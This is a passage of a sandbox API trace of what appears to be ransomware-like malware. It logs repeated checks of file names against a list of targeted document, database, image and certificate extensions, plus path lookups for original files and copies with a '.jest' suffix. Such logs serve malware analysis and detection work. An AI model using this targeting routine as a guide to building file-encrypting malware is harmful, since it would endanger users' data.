[0125.232] VarBstrCmp (bstrLeft=".html", bstrRight=".ppsx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.232] VarBstrCmp (bstrLeft=".html", bstrRight=".ppsm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.232] VarBstrCmp (bstrLeft=".html", bstrRight=".sldx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.232] VarBstrCmp (bstrLeft=".html", bstrRight=".sldm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.232] VarBstrCmp (bstrLeft="k.html", bstrRight=".ACCDB", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.232] VarBstrCmp (bstrLeft="ock.html", bstrRight=".SQLITE3", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.232] VarBstrCmp (bstrLeft="k.html", bstrRight=".ACCDR", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.232] VarBstrCmp (bstrLeft="html", bstrRight=".txt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.232] VarBstrCmp (bstrLeft="html", bstrRight=".ned", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.232] VarBstrCmp (bstrLeft="html", bstrRight=".ntm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.233] VarBstrCmp (bstrLeft="html", bstrRight=".flt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.233] VarBstrCmp (bstrLeft="html", bstrRight=".nrp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.233] VarBstrCmp (bstrLeft="tml", bstrRight=".db", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.233] VarBstrCmp (bstrLeft="html", bstrRight=".3fr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.233] VarBstrCmp (bstrLeft="tml", bstrRight=".ai", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.233] VarBstrCmp (bstrLeft="html", bstrRight=".arw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.233] VarBstrCmp (bstrLeft="html", bstrRight=".bay", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.233] VarBstrCmp (bstrLeft="html", bstrRight=".cdr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.233] VarBstrCmp (bstrLeft="html", bstrRight=".cer", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.233] VarBstrCmp (bstrLeft="html", bstrRight=".cr2", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.233] VarBstrCmp (bstrLeft="html", bstrRight=".crt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.233] VarBstrCmp (bstrLeft="html", bstrRight=".crw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.233] VarBstrCmp (bstrLeft="html", bstrRight=".dbf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.233] VarBstrCmp (bstrLeft="html", bstrRight=".dcr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.233] VarBstrCmp (bstrLeft="html", bstrRight=".der", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.233] VarBstrCmp (bstrLeft="html", bstrRight=".dng", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.233] VarBstrCmp (bstrLeft="html", bstrRight=".dwg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.234] VarBstrCmp (bstrLeft="html", bstrRight=".dxf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.234] VarBstrCmp (bstrLeft="html", bstrRight=".dxg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.234] VarBstrCmp (bstrLeft="html", bstrRight=".eps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.234] VarBstrCmp (bstrLeft=".html", bstrRight=".java", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.234] VarBstrCmp (bstrLeft=".html", bstrRight=".jpeg", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.234] VarBstrCmp (bstrLeft="html", bstrRight=".jpg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.234] VarBstrCmp (bstrLeft="lock.html", bstrRight=".SQLITEDB", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.234] VarBstrCmp (bstrLeft="html", bstrRight=".mdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.234] VarBstrCmp (bstrLeft="html", bstrRight=".mdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.234] VarBstrCmp (bstrLeft="html", bstrRight=".mef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.234] VarBstrCmp (bstrLeft="html", bstrRight=".mrw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.234] VarBstrCmp (bstrLeft="html", bstrRight=".nef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.234] VarBstrCmp (bstrLeft="html", bstrRight=".png", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.234] VarBstrCmp (bstrLeft="html", bstrRight=".odb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.234] VarBstrCmp (bstrLeft="html", bstrRight=".odm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.234] VarBstrCmp (bstrLeft="html", bstrRight=".odp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.234] VarBstrCmp (bstrLeft="html", bstrRight=".ods", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.235] VarBstrCmp (bstrLeft=".html", bstrRight=".aspx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.235] VarBstrCmp (bstrLeft="html", bstrRight=".asp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.235] VarBstrCmp (bstrLeft="html", bstrRight=".odt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.235] VarBstrCmp (bstrLeft="html", bstrRight=".css", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.235] VarBstrCmp (bstrLeft="html", bstrRight=".p12", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.235] VarBstrCmp (bstrLeft="html", bstrRight=".edb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.235] VarBstrCmp (bstrLeft="ck.html", bstrRight=".config", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.235] VarBstrCmp (bstrLeft="html", bstrRight=".php", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.235] VarBstrCmp (bstrLeft="html", bstrRight=".htm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.235] VarBstrCmp (bstrLeft=".html", bstrRight=".html", lcid=0x1, dwFlags=0x30001) returned 0x1 [0125.236] VarBstrCmp (bstrLeft="lock.html", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.236] VarBstrCmp (bstrLeft="html", bstrRight=".bas", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.236] VarBstrCmp (bstrLeft="tml", bstrRight=".py", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.236] VarBstrCmp (bstrLeft="html", bstrRight=".pyc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.236] VarBstrCmp (bstrLeft="html", bstrRight=".pdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.236] VarBstrCmp (bstrLeft="html", bstrRight=".ost", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.236] VarBstrCmp (bstrLeft=".html", bstrRight=".mail", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.236] VarBstrCmp (bstrLeft="html", bstrRight=".bak", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.236] VarBstrCmp (bstrLeft="html", bstrRight=".cfg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.236] VarBstrCmp (bstrLeft="html", bstrRight=".sql", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.236] VarBstrCmp (bstrLeft="html", bstrRight=".log", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.236] VarBstrCmp (bstrLeft="html", bstrRight=".doc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.236] VarBstrCmp (bstrLeft="html", bstrRight=".xml", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.236] VarBstrCmp (bstrLeft=".html", bstrRight=".proj", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.236] VarBstrCmp (bstrLeft="html", bstrRight=".dot", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.237] VarBstrCmp (bstrLeft=".html", bstrRight=".docx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.237] VarBstrCmp (bstrLeft=".html", bstrRight=".docm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.237] VarBstrCmp (bstrLeft=".html", bstrRight=".dotx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.237] VarBstrCmp (bstrLeft=".html", bstrRight=".dotm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.237] VarBstrCmp (bstrLeft=".html", bstrRight=".docb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.237] VarBstrCmp (bstrLeft="html", bstrRight=".xls", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.237] VarBstrCmp (bstrLeft="html", bstrRight=".xlt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.237] VarBstrCmp (bstrLeft="html", bstrRight=".xlm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.237] VarBstrCmp (bstrLeft=".html", bstrRight=".xlsx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.237] VarBstrCmp (bstrLeft=".html", bstrRight=".xlsm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.237] VarBstrCmp (bstrLeft=".html", bstrRight=".xltx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.237] VarBstrCmp (bstrLeft=".html", bstrRight=".xltm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.237] VarBstrCmp (bstrLeft=".html", bstrRight=".xlsb", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.237] VarBstrCmp (bstrLeft="html", bstrRight=".xla", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.237] VarBstrCmp (bstrLeft=".html", bstrRight=".xlam", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.238] VarBstrCmp (bstrLeft="html", bstrRight=".xll", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.238] VarBstrCmp (bstrLeft="html", bstrRight=".xlw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.238] VarBstrCmp (bstrLeft="html", bstrRight=".ppt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.238] VarBstrCmp (bstrLeft="html", bstrRight=".pot", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.238] VarBstrCmp (bstrLeft="html", bstrRight=".pps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.238] VarBstrCmp (bstrLeft=".html", bstrRight=".pptx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.238] VarBstrCmp (bstrLeft=".html", bstrRight=".pptm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.238] VarBstrCmp (bstrLeft=".html", bstrRight=".potx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.238] VarBstrCmp (bstrLeft=".html", bstrRight=".potm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.238] VarBstrCmp (bstrLeft=".html", bstrRight=".ppam", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.238] VarBstrCmp (bstrLeft=".html", bstrRight=".ppsx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.238] VarBstrCmp (bstrLeft=".html", bstrRight=".ppsm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.238] VarBstrCmp (bstrLeft=".html", bstrRight=".sldx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.238] VarBstrCmp (bstrLeft=".html", bstrRight=".sldm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.238] VarBstrCmp (bstrLeft="k.html", bstrRight=".ACCDB", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.238] VarBstrCmp (bstrLeft="ock.html", bstrRight=".SQLITE3", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.239] VarBstrCmp (bstrLeft="k.html", bstrRight=".ACCDR", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.239] VarBstrCmp (bstrLeft="html", bstrRight=".txt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.239] VarBstrCmp (bstrLeft="html", bstrRight=".ned", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.239] VarBstrCmp (bstrLeft="html", bstrRight=".ntm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.239] VarBstrCmp (bstrLeft="html", bstrRight=".flt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.239] VarBstrCmp (bstrLeft="html", bstrRight=".nrp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.239] VarBstrCmp (bstrLeft="tml", bstrRight=".db", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.239] VarBstrCmp (bstrLeft="html", bstrRight=".3fr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.239] VarBstrCmp (bstrLeft="tml", bstrRight=".ai", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.239] VarBstrCmp (bstrLeft="html", bstrRight=".arw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.239] VarBstrCmp (bstrLeft="html", bstrRight=".bay", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.239] VarBstrCmp (bstrLeft="html", bstrRight=".cdr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.239] VarBstrCmp (bstrLeft="html", bstrRight=".cer", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.239] VarBstrCmp (bstrLeft="html", bstrRight=".cr2", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.240] VarBstrCmp (bstrLeft="html", bstrRight=".crt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.240] VarBstrCmp (bstrLeft="html", bstrRight=".crw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.240] VarBstrCmp (bstrLeft="html", bstrRight=".dbf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.240] VarBstrCmp (bstrLeft="html", bstrRight=".dcr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.240] VarBstrCmp (bstrLeft="html", bstrRight=".der", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.240] VarBstrCmp (bstrLeft="html", bstrRight=".dng", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.240] VarBstrCmp (bstrLeft="html", bstrRight=".dwg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.240] VarBstrCmp (bstrLeft="html", bstrRight=".dxf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.240] VarBstrCmp (bstrLeft="html", bstrRight=".dxg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.241] VarBstrCmp (bstrLeft="html", bstrRight=".eps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.241] VarBstrCmp (bstrLeft=".html", bstrRight=".java", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.241] VarBstrCmp (bstrLeft=".html", bstrRight=".jpeg", lcid=0x1, dwFlags=0x30001) returned 0x0 [0125.241] VarBstrCmp (bstrLeft="html", bstrRight=".jpg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.241] VarBstrCmp (bstrLeft="lock.html", bstrRight=".SQLITEDB", lcid=0x1, dwFlags=0x30001) returned 0x2 [0125.244] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e870*="gadget.xml") returned 0x4c [0125.344] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml.jest", lpFilePart=0x18e870*="gadget.xml.jest") returned 0x51 [0125.350] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e6d8*="gadget.xml") returned 0x4c [0125.350] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x78, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 0x143ce48 [0125.350] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.350] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.350] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e780*="gadget.xml") returned 0x4c [0125.351] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e780*="gadget.xml") returned 0x4c [0125.351] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.351] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x167)) [0125.351] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x167)) [0125.351] GetUserDefaultLCID () returned 0x409 [0125.351] VarBstrFromR4 (in: fltIn=0x479444ae, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.36") returned 0x0 [0125.352] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="\x90") returned 1 [0125.352] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e780*="gadget.xml") returned 0x4c [0125.353] GetFullPathNameA (in: lpFileName="r5zA 0OnkHXhcRv 7zEcik5Wyo6WUlSiD_8uBi0DIjYJxE-COCcKAR49ur1OFJ5qPGvperj6seEoGWTReqyzdQQJXDTgpa4IGcVRg.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\r5zA 0OnkHXhcRv 7zEcik5Wyo6WUlSiD_8uBi0DIjYJxE-COCcKAR49ur1OFJ5qPGvperj6seEoGWTReqyzdQQJXDTgpa4IGcVRg.tmp", lpFilePart=0x18e708*="r5zA 0OnkHXhcRv 7zEcik5Wyo6WUlSiD_8uBi0DIjYJxE-COCcKAR49ur1OFJ5qPGvperj6seEoGWTReqyzdQQJXDTgpa4IGcVRg.tmp") returned 0x8f [0125.353] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e708*="gadget.xml") returned 0x4c [0125.353] GetFullPathNameA (in: lpFileName="r5zA 0OnkHXhcRv 7zEcik5Wyo6WUlSiD_8uBi0DIjYJxE-COCcKAR49ur1OFJ5qPGvperj6seEoGWTReqyzdQQJXDTgpa4IGcVRg.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\r5zA 0OnkHXhcRv 7zEcik5Wyo6WUlSiD_8uBi0DIjYJxE-COCcKAR49ur1OFJ5qPGvperj6seEoGWTReqyzdQQJXDTgpa4IGcVRg.tmp", lpFilePart=0x18e6e4*="r5zA 0OnkHXhcRv 7zEcik5Wyo6WUlSiD_8uBi0DIjYJxE-COCcKAR49ur1OFJ5qPGvperj6seEoGWTReqyzdQQJXDTgpa4IGcVRg.tmp") returned 0x8f [0125.353] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\r5zA 0OnkHXhcRv 7zEcik5Wyo6WUlSiD_8uBi0DIjYJxE-COCcKAR49ur1OFJ5qPGvperj6seEoGWTReqyzdQQJXDTgpa4IGcVRg.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x417a3572, cFileName=" 0OnkHXhcRv 7zEcik5Wyo6WUlSiD_8uBi0DIjYJxE-COCcKAR49ur1OFJ5qPGvperj6seEoGWTReqyzdQQJXDTgpa4IGcVRg.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.353] GetLastError () returned 0x2 [0125.353] GetLastError () returned 0x2 [0125.353] SetLastError (dwErrCode=0x2) [0125.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.354] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.355] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e870*="gadget.xml") returned 0x46 [0125.358] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml.jest", lpFilePart=0x18e870*="gadget.xml.jest") returned 0x4b [0125.362] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e6d8*="gadget.xml") returned 0x46 [0125.362] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x78, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 0x143ce48 [0125.362] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.362] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.362] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e780*="gadget.xml") returned 0x46 [0125.363] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e780*="gadget.xml") returned 0x46 [0125.363] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.363] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x176)) [0125.363] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x176)) [0125.363] GetUserDefaultLCID () returned 0x409 [0125.363] VarBstrFromR4 (in: fltIn=0x479444b0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.38") returned 0x0 [0125.364] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="—") returned 1 [0125.364] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e780*="gadget.xml") returned 0x46 [0125.365] GetFullPathNameA (in: lpFileName="Vrngdn8JZsZGKq6ma0GTueIdj6RQGq-u cLCKrZUSBUmFAJtJHYkRSZTsgcDE-TbkSTJFH8f_qRgfzKBJTkxvtP_b1YEgD5mF_jqw.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vrngdn8JZsZGKq6ma0GTueIdj6RQGq-u cLCKrZUSBUmFAJtJHYkRSZTsgcDE-TbkSTJFH8f_qRgfzKBJTkxvtP_b1YEgD5mF_jqw.tmp", lpFilePart=0x18e708*="Vrngdn8JZsZGKq6ma0GTueIdj6RQGq-u cLCKrZUSBUmFAJtJHYkRSZTsgcDE-TbkSTJFH8f_qRgfzKBJTkxvtP_b1YEgD5mF_jqw.tmp") returned 0x8f [0125.365] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: 